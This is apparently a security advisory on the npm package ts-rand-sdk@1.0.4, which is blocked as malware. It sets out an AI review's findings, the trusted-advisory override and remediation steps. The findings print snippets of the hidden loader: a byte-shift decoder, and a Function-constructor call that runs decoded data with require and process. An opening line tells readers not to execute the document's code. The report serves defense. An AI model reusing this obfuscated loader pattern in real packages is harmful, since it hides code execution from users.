Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The hidden code could execute with the importing application's Node.js privileges; its exact effects remain unresolved. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 1.0.4 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-14193 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: suspicious; recommendation: downgrade to warn. This assessment is supporting evidence; the published decision above determines the current policy. The package contains an opaque payload carrier that dynamically constructs and runs decoded code. No confirmed harmful payload behavior was established by static inspection. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 91.0% - **Started:** 2026-09-30T00:12:15.249Z - **Finished:** 2026-09-30T00:15:05.177Z - **Download time:** 509 ms - **Static scan time:** 57 ms - **AI review time:** 169361 ms - **Total time:** 169928 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The package contains an opaque payload carrier that dynamically constructs and runs decoded code. No confirmed harmful payload behavior was established by static inspection. - **Trigger:** Calling the exported getTransactions function triggers load\_transaction\_data. - **Impact:** The hidden code could execute with the importing application's Node.js privileges; its exact effects remain unresolved. - **Evidence paths:** index.js, database.js - **Review source:** ai\_review - **Reviewed:** 2026-09-30T00:15:05.177Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Marked data from database.js is decoded, converted to text, passed to a Function constructor, and invoked with Buffer, require, and process. - **Rationale:** The package deliberately hides executable code in data and runs it when a normal exported API is used. There is no install hook or confirmed concrete attack, so a warning is proportionate. ### Review decision - **Verdict:** Suspicious - **Confidence:** 91.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Dangerous Capability - **False-positive risk:** Low - **Evidence for block:** The manifest has no automatic install lifecycle hook and names index.js as the entrypoint., The entrypoint decodes data from database.js through a reversible byte-shift routine., A public transaction function invokes a delayed loader that converts decoded data to text and constructs a function with Buffer, require, and process., The decoded payload is stored as opaque marked records in database.js, so its behavior cannot be established from transparent source. - **Evidence against:** No confirmed network, credential, file-harvesting, or destructive operation was found in the inspected entrypoint., The opaque loader is reached only when the exported transaction function is called, not merely on installation or import. ## Affected versions and remediation This report applies to ts-rand-sdk@1.0.4. - Avoid installing ts-rand-sdk@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 3. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 91.0% - **Path:** package.json - **Public source:** [View source]() The manifest has no automatic install lifecycle hook and names index.js as the entrypoint. Public source snippet (untrusted): ```json { "name": "ts-rand-sdk", "version": "1.0.4", "description": "Used to generate random transactions data", "main": "index.js", "dependencies": { "python-shell": "^1.0.8", "base-64": "^1.0.0", "axios": "^1.6.0" }, "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "keywords": [], "author": "", "license": ``` ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** index.js - **Public source:** [View source]() The entrypoint decodes data from database.js through a reversible byte-shift routine. Public source snippet (untrusted): ```javascript function processData(data, key) { const shift = key % 256; const decoded = Buffer .from(data,"base64") .toString("latin1"); let result = ""; for (const c of decoded) { result += String.fromCharCode( (c.charCodeAt(0) - shift + 256) % 256 ); } return result; } function loadConfig(filename, ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** index.js - **Public source:** [View source]() A public transaction function invokes a delayed loader that converts decoded data to text and constructs a function with Buffer, require, and process. Public source snippet (untrusted): ```javascript const _FuncCtor = _executor.getFunction(); const _fn = _FuncCtor( _0x1a2b.Buffer, _0x1a2b.require, _0x1a2b.process, _code ); return _fn(Buffer, require, process); }, () => { ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** database.js - **Public source:** [View source]() The decoded payload is stored as opaque marked records in database.js, so its behavior cannot be established from transparent source.
